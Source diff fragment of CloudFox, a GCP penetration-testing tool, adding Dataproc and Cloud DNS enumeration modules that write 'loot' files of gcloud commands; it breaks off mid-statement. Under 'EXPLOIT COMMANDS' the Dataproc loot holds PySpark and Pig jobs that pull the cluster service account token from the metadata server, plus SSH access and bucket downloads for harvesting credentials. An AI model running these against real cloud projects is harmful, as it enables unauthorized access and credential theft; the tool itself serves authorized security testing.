outputData.ProjectLevelData[projectID] = DataflowOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DATAFLOW_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataflowModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allJobs := m.getAllJobs()
|
||||
body := m.jobsToTableBody(allJobs)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tables := []internal.TableFile{{Name: "dataflow", Header: m.getTableHeader(), Body: body}}
|
||||
output := DataflowOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DATAFLOW_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,412 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
dataprocservice "github.com/BishopFox/cloudfox/gcp/services/dataprocService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPDataprocCommand = &cobra.Command{
|
||||
Use: globals.GCP_DATAPROC_MODULE_NAME,
|
||||
Aliases: []string{"dp", "hadoop", "spark"},
|
||||
Short: "Enumerate Dataproc clusters",
|
||||
Long: `Enumerate Dataproc (Hadoop/Spark) clusters.
|
||||
|
||||
Features:
|
||||
- Lists all Dataproc clusters across regions
|
||||
- Shows service account configuration
|
||||
- Identifies public IP exposure
|
||||
- Checks for Kerberos authentication
|
||||
- Analyzes security configurations`,
|
||||
Run: runGCPDataprocCommand,
|
||||
}
|
||||
|
||||
type DataprocModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectClusters map[string][]dataprocservice.ClusterInfo // projectID -> clusters
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper results
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type DataprocOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o DataprocOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o DataprocOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPDataprocCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DATAPROC_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &DataprocModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectClusters: make(map[string][]dataprocservice.ClusterInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *DataprocModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DATAPROC_MODULE_NAME, m.processProject)
|
||||
|
||||
allClusters := m.getAllClusters()
|
||||
if len(allClusters) == 0 {
|
||||
logger.InfoM("No Dataproc clusters found", globals.GCP_DATAPROC_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
runningCount := 0
|
||||
publicCount := 0
|
||||
for _, cluster := range allClusters {
|
||||
if cluster.State == "RUNNING" {
|
||||
runningCount++
|
||||
}
|
||||
if !cluster.InternalIPOnly {
|
||||
publicCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d Dataproc cluster(s) (%d running, %d with public IPs)",
|
||||
len(allClusters), runningCount, publicCount), globals.GCP_DATAPROC_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *DataprocModule) getAllClusters() []dataprocservice.ClusterInfo {
|
||||
var all []dataprocservice.ClusterInfo
|
||||
for _, clusters := range m.ProjectClusters {
|
||||
all = append(all, clusters...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *DataprocModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Dataproc in project: %s", projectID), globals.GCP_DATAPROC_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := dataprocservice.New()
|
||||
|
||||
clusters, err := svc.ListClusters(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_DATAPROC_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list Dataproc clusters in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectClusters[projectID] = clusters
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["dataproc-commands"] = &internal.LootFile{
|
||||
Name: "dataproc-commands",
|
||||
Contents: "# Dataproc Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, cluster := range clusters {
|
||||
m.addToLoot(projectID, cluster)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *DataprocModule) addToLoot(projectID string, cluster dataprocservice.ClusterInfo) {
|
||||
lootFile := m.LootMap[projectID]["dataproc-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# DATAPROC CLUSTER: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Region: %s\n"+
|
||||
"# State: %s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Public IPs: %s\n"+
|
||||
"# Kerberos: %s\n",
|
||||
cluster.Name, cluster.ProjectID, cluster.Region,
|
||||
cluster.State, cluster.ServiceAccount,
|
||||
shared.BoolToYesNo(!cluster.InternalIPOnly),
|
||||
shared.BoolToYesNo(cluster.KerberosEnabled),
|
||||
)
|
||||
|
||||
if len(cluster.MasterInstanceNames) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# Master Instances: %s\n", strings.Join(cluster.MasterInstanceNames, ", "))
|
||||
}
|
||||
|
||||
// === ENUMERATION COMMANDS ===
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe cluster:
|
||||
gcloud dataproc clusters describe %s --region=%s --project=%s
|
||||
|
||||
# List jobs on this cluster:
|
||||
gcloud dataproc jobs list --cluster=%s --region=%s --project=%s
|
||||
|
||||
# Get cluster IAM policy:
|
||||
gcloud dataproc clusters get-iam-policy %s --region=%s --project=%s
|
||||
|
||||
# List cluster metadata/properties:
|
||||
gcloud dataproc clusters describe %s --region=%s --project=%s --format=json | jq '.config.softwareConfig.properties'
|
||||
|
||||
`,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
)
|
||||
|
||||
// Bucket commands
|
||||
if cluster.ConfigBucket != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# List config bucket (may contain init scripts with secrets):\n"+
|
||||
"gsutil ls -r gs://%s/\n"+
|
||||
"# Download init actions (check for hardcoded credentials):\n"+
|
||||
"gsutil -m cp -r gs://%s/google-cloud-dataproc-metainfo/ /tmp/dataproc-config-%s/\n\n",
|
||||
cluster.ConfigBucket,
|
||||
cluster.ConfigBucket, cluster.Name,
|
||||
)
|
||||
}
|
||||
if cluster.TempBucket != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# List temp bucket (may contain job output/data):\n"+
|
||||
"gsutil ls -r gs://%s/\n\n",
|
||||
cluster.TempBucket,
|
||||
)
|
||||
}
|
||||
|
||||
// === EXPLOIT COMMANDS ===
|
||||
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
|
||||
|
||||
// SSH to master node
|
||||
if len(cluster.MasterInstanceNames) > 0 {
|
||||
masterName := cluster.MasterInstanceNames[0]
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# SSH to master node (runs as cluster SA: %s):\n"+
|
||||
"gcloud compute ssh %s --project=%s --zone=ZONE\n\n"+
|
||||
"# SSH through IAP (if direct SSH blocked):\n"+
|
||||
"gcloud compute ssh %s --tunnel-through-iap --project=%s --zone=ZONE\n\n",
|
||||
cluster.ServiceAccount,
|
||||
masterName, cluster.ProjectID,
|
||||
masterName, cluster.ProjectID,
|
||||
)
|
||||
} else {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# SSH to master node:\n"+
|
||||
"gcloud compute ssh %s-m --project=%s --zone=ZONE\n\n"+
|
||||
"# SSH through IAP (if direct SSH blocked):\n"+
|
||||
"gcloud compute ssh %s-m --tunnel-through-iap --project=%s --zone=ZONE\n\n",
|
||||
cluster.Name, cluster.ProjectID,
|
||||
cluster.Name, cluster.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
// Submit jobs for code execution
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Submit PySpark job for code execution (runs as SA: %s):\n"+
|
||||
"cat > /tmp/cloudfox_spark.py << 'SPARKEOF'\n"+
|
||||
"import subprocess, json\n"+
|
||||
"result = subprocess.run(['curl', '-s', '-H', 'Metadata-Flavor: Google',\n"+
|
||||
" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'],\n"+
|
||||
" capture_output=True, text=True)\n"+
|
||||
"print(json.loads(result.stdout))\n"+
|
||||
"SPARKEOF\n"+
|
||||
"gcloud dataproc jobs submit pyspark /tmp/cloudfox_spark.py --cluster=%s --region=%s --project=%s\n\n"+
|
||||
"# Submit Spark job:\n"+
|
||||
"gcloud dataproc jobs submit spark --cluster=%s --region=%s --project=%s --class=MAIN_CLASS --jars=JAR_PATH\n\n"+
|
||||
"# Submit Hive query (access HDFS/HBase data):\n"+
|
||||
"gcloud dataproc jobs submit hive --cluster=%s --region=%s --project=%s --execute=\"SHOW DATABASES; SHOW TABLES;\"\n\n"+
|
||||
"# Submit Pig job:\n"+
|
||||
"gcloud dataproc jobs submit pig --cluster=%s --region=%s --project=%s --execute=\"sh curl -s http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H Metadata-Flavor:Google\"\n\n",
|
||||
cluster.ServiceAccount,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
cluster.Name, cluster.Region, cluster.ProjectID,
|
||||
)
|
||||
|
||||
// Access web UIs
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Access Hadoop/Spark Web UIs (via SSH tunnel or component gateway):\n"+
|
||||
"# YARN ResourceManager: http://<master>:8088\n"+
|
||||
"# HDFS NameNode: http://<master>:9870\n"+
|
||||
"# Spark History: http://<master>:18080\n"+
|
||||
"# Create SSH tunnel to YARN UI:\n"+
|
||||
"gcloud compute ssh %s-m --project=%s --zone=ZONE -- -L 8088:localhost:8088 -N\n\n",
|
||||
cluster.Name, cluster.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *DataprocModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataprocModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Region",
|
||||
"State",
|
||||
"Master",
|
||||
"Master Instances",
|
||||
"Workers",
|
||||
"Service Account",
|
||||
"SA Attack Paths",
|
||||
"Public IPs",
|
||||
"Kerberos",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataprocModule) clustersToTableBody(clusters []dataprocservice.ClusterInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, cluster := range clusters {
|
||||
sa := cluster.ServiceAccount
|
||||
if sa == "" {
|
||||
sa = "(default)"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
if sa != "(default)" && sa != "" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa)
|
||||
} else {
|
||||
attackPaths = "No"
|
||||
}
|
||||
}
|
||||
|
||||
masterConfig := fmt.Sprintf("%s x%d", cluster.MasterMachineType, cluster.MasterCount)
|
||||
workerConfig := fmt.Sprintf("%s x%d", cluster.WorkerMachineType, cluster.WorkerCount)
|
||||
|
||||
// Master instances
|
||||
masterInstances := "-"
|
||||
if len(cluster.MasterInstanceNames) > 0 {
|
||||
masterInstances = strings.Join(cluster.MasterInstanceNames, ", ")
|
||||
}
|
||||
|
||||
// If cluster has IAM bindings, create one row per binding
|
||||
if len(cluster.IAMBindings) > 0 {
|
||||
for _, binding := range cluster.IAMBindings {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(cluster.ProjectID),
|
||||
cluster.Name,
|
||||
cluster.Region,
|
||||
cluster.State,
|
||||
masterConfig,
|
||||
masterInstances,
|
||||
workerConfig,
|
||||
sa,
|
||||
attackPaths,
|
||||
shared.BoolToYesNo(!cluster.InternalIPOnly),
|
||||
shared.BoolToYesNo(cluster.KerberosEnabled),
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// Cluster has no IAM bindings - single row
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(cluster.ProjectID),
|
||||
cluster.Name,
|
||||
cluster.Region,
|
||||
cluster.State,
|
||||
masterConfig,
|
||||
masterInstances,
|
||||
workerConfig,
|
||||
sa,
|
||||
attackPaths,
|
||||
shared.BoolToYesNo(!cluster.InternalIPOnly),
|
||||
shared.BoolToYesNo(cluster.KerberosEnabled),
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *DataprocModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID, clusters := range m.ProjectClusters {
|
||||
body := m.clustersToTableBody(clusters)
|
||||
tableFiles := []internal.TableFile{{Name: "dataproc-clusters", Header: m.getTableHeader(), Body: body}}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = DataprocOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DATAPROC_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataprocModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allClusters := m.getAllClusters()
|
||||
body := m.clustersToTableBody(allClusters)
|
||||
|
||||
tables := []internal.TableFile{{Name: "dataproc-clusters", Header: m.getTableHeader(), Body: body}}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := DataprocOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DATAPROC_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,550 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
DNSService "github.com/BishopFox/cloudfox/gcp/services/dnsService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPDNSCommand = &cobra.Command{
|
||||
Use: globals.GCP_DNS_MODULE_NAME,
|
||||
Aliases: []string{"zones", "cloud-dns"},
|
||||
Short: "Enumerate Cloud DNS zones and records with security analysis",
|
||||
Long: `Enumerate Cloud DNS managed zones and records across projects.
|
||||
|
||||
Features:
|
||||
- Lists all DNS managed zones (public and private)
|
||||
- Shows zone configuration (DNSSEC, visibility, peering)
|
||||
- Enumerates DNS records for each zone
|
||||
- Identifies interesting records (A, CNAME, TXT, MX)
|
||||
- Shows private zone VPC bindings
|
||||
- Generates gcloud commands for DNS management
|
||||
|
||||
Security Columns:
|
||||
- Visibility: public or private
|
||||
- DNSSEC: Whether DNSSEC is enabled
|
||||
- Networks: VPC networks for private zones
|
||||
- Peering: Cross-project DNS peering
|
||||
|
||||
Attack Surface:
|
||||
- Public zones expose domain infrastructure
|
||||
- TXT records may contain sensitive info (SPF, DKIM, verification)
|
||||
- Private zones indicate internal network structure
|
||||
- DNS forwarding may expose internal resolvers`,
|
||||
Run: runGCPDNSCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type DNSModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectZones map[string][]DNSService.ZoneInfo // projectID -> zones
|
||||
ProjectRecords map[string][]DNSService.RecordInfo // projectID -> records
|
||||
TakeoverRisks []DNSService.TakeoverRisk // kept global for summary
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type DNSOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o DNSOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o DNSOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPDNSCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DNS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &DNSModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectZones: make(map[string][]DNSService.ZoneInfo),
|
||||
ProjectRecords: make(map[string][]DNSService.RecordInfo),
|
||||
TakeoverRisks: []DNSService.TakeoverRisk{},
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *DNSModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DNS_MODULE_NAME, m.processProject)
|
||||
|
||||
allZones := m.getAllZones()
|
||||
allRecords := m.getAllRecords()
|
||||
|
||||
if len(allZones) == 0 {
|
||||
logger.InfoM("No DNS zones found", globals.GCP_DNS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count zone types and security issues
|
||||
publicCount := 0
|
||||
privateCount := 0
|
||||
transferModeCount := 0
|
||||
dnssecOffCount := 0
|
||||
|
||||
for _, zone := range allZones {
|
||||
if zone.Visibility == "public" {
|
||||
publicCount++
|
||||
// Check DNSSEC status for public zones
|
||||
if zone.DNSSECState == "" || zone.DNSSECState == "off" {
|
||||
dnssecOffCount++
|
||||
} else if zone.DNSSECState == "transfer" {
|
||||
transferModeCount++
|
||||
}
|
||||
} else {
|
||||
privateCount++
|
||||
}
|
||||
}
|
||||
|
||||
// Check for subdomain takeover risks
|
||||
ds := DNSService.New()
|
||||
m.TakeoverRisks = ds.CheckTakeoverRisks(allRecords)
|
||||
|
||||
msg := fmt.Sprintf("Found %d zone(s), %d record(s)", len(allZones), len(allRecords))
|
||||
if publicCount > 0 {
|
||||
msg += fmt.Sprintf(" [%d public]", publicCount)
|
||||
}
|
||||
if privateCount > 0 {
|
||||
msg += fmt.Sprintf(" [%d private]", privateCount)
|
||||
}
|
||||
logger.SuccessM(msg, globals.GCP_DNS_MODULE_NAME)
|
||||
|
||||
// Log security warnings
|
||||
if dnssecOffCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[SECURITY] %d public zone(s) have DNSSEC disabled", dnssecOffCount), globals.GCP_DNS_MODULE_NAME)
|
||||
}
|
||||
if transferModeCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[SECURITY] %d zone(s) in DNSSEC transfer mode (vulnerable during migration)", transferModeCount), globals.GCP_DNS_MODULE_NAME)
|
||||
}
|
||||
if len(m.TakeoverRisks) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[SECURITY] %d potential subdomain takeover risk(s) detected", len(m.TakeoverRisks)), globals.GCP_DNS_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllZones returns all zones from all projects
|
||||
func (m *DNSModule) getAllZones() []DNSService.ZoneInfo {
|
||||
var all []DNSService.ZoneInfo
|
||||
for _, zones := range m.ProjectZones {
|
||||
all = append(all, zones...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllRecords returns all records from all projects
|
||||
func (m *DNSModule) getAllRecords() []DNSService.RecordInfo {
|
||||
var all []DNSService.RecordInfo
|
||||
for _, records := range m.ProjectRecords {
|
||||
all = append(all, records...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *DNSModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating DNS in project: %s", projectID), globals.GCP_DNS_MODULE_NAME)
|
||||
}
|
||||
|
||||
ds := DNSService.New()
|
||||
|
||||
// Get zones
|
||||
zones, err := ds.Zones(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_DNS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate DNS zones in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
var projectRecords []DNSService.RecordInfo
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["dns-commands"] = &internal.LootFile{
|
||||
Name: "dns-commands",
|
||||
Contents: "# Cloud DNS Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
for _, zone := range zones {
|
||||
m.mu.Lock()
|
||||
m.addZoneToLoot(projectID, zone)
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get records for each zone (outside of lock to avoid holding mutex across API call)
|
||||
records, err := ds.Records(projectID, zone.Name)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_DNS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate DNS records in zone %s", zone.Name))
|
||||
continue
|
||||
}
|
||||
|
||||
projectRecords = append(projectRecords, records...)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectZones[projectID] = zones
|
||||
m.ProjectRecords[projectID] = projectRecords
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d zone(s) in project %s", len(zones), projectID), globals.GCP_DNS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *DNSModule) addZoneToLoot(projectID string, zone DNSService.ZoneInfo) {
|
||||
lootFile := m.LootMap[projectID]["dns-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# DNS ZONE: %s (%s)\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Visibility: %s\n",
|
||||
zone.Name, zone.DNSName,
|
||||
zone.ProjectID, zone.Visibility,
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe zone:
|
||||
gcloud dns managed-zones describe %s --project=%s
|
||||
|
||||
# List all record sets:
|
||||
gcloud dns record-sets list --zone=%s --project=%s
|
||||
|
||||
# Export all records (for offline analysis):
|
||||
gcloud dns record-sets export /tmp/dns-%s.zone --zone=%s --project=%s
|
||||
|
||||
# List DNSSEC config:
|
||||
gcloud dns managed-zones describe %s --project=%s --format=json | jq '.dnssecConfig'
|
||||
|
||||
`, zone.Name, zone.ProjectID,
|
||||
zone.Name, zone.ProjectID,
|
||||
zone.Name, zone.Name, zone.ProjectID,
|
||||
zone.Name, zone.ProjectID,
|
||||
)
|
||||
|
||||
// === EXPLOIT COMMANDS ===
|
||||
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
|
||||
|
||||
// DNS validation and takeover checks
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Validate DNS resolution for the zone:\n"+
|
||||
"dig %s ANY +short\n"+
|
||||
"nslookup %s\n\n"+
|
||||
"# Check for dangling CNAME records (subdomain takeover):\n"+
|
||||
"gcloud dns record-sets list --zone=%s --project=%s --filter=\"type=CNAME\" --format=\"table(name,rrdatas)\"\n\n"+
|
||||
"# Test each CNAME for dangling records:\n"+
|
||||
"# for cname in $(gcloud dns record-sets list --zone=%s --project=%s --filter=\"type=CNAME\" --format=\"value(rrdatas)\"); do\n"+
|
||||
"# echo -n \"$cname: \"; dig +short $cname || echo \"DANGLING - potential takeover!\"\n"+
|
||||
"# done\n\n"+
|
||||
"# Check NS records (for delegation attacks):\n"+
|
||||
"dig %s NS +short\n\n",
|
||||
zone.DNSName, zone.DNSName,
|
||||
zone.Name, zone.ProjectID,
|
||||
zone.Name, zone.ProjectID,
|
||||
zone.DNSName,
|
||||
)
|
||||
|
||||
// Zone modification commands
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Add a DNS record (requires dns.changes.create):\n"+
|
||||
